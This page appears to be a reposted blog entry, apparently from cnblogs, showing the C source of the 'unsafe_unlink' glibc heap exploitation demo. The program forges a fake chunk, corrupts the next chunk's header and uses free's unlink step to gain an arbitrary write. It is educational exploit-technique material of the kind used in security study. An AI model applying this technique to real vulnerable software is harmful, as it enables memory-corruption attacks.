5.unsafe_unlink

最新推荐文章于 2023-05-16 11:11:11 发布

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最新推荐文章于 2023-05-16 11:11:11 发布

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原文链接：http://www.cnblogs.com/pfcode/p/10991415.html

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源代码　

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 #include <stdint.h>
 5 
 6 
 7 uint64_t *chunk0_ptr;
 8 
 9 int main()
10 {
11     fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
15 
16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
17     int header_size = 2;
18 
19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
20 
21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
25 
26     fprintf(stderr, "We create a fake chunk inside chunk0.\n");
27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
31     chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
32     fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
33     fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
34 
35     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
36     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
37     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
38     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
39     chunk1_hdr[0] = malloc_size;
40     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
41     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
42     chunk1_hdr[1] &= ~1;
43 
44     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
45     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
46     free(chunk1_ptr);
47 
48     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
49     char victim_string[8];
50     strcpy(victim_string,"Hello!~");
51     chunk0_ptr[3] = (uint64_t) victim_string;
52 
53     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
54     fprintf(stderr, "Original value: %s\n",victim_string);
55     chunk0_ptr[0] = 0x4141414142424242LL;
56     fprintf(stderr, "New Value: %s\n",victim_string);
57 }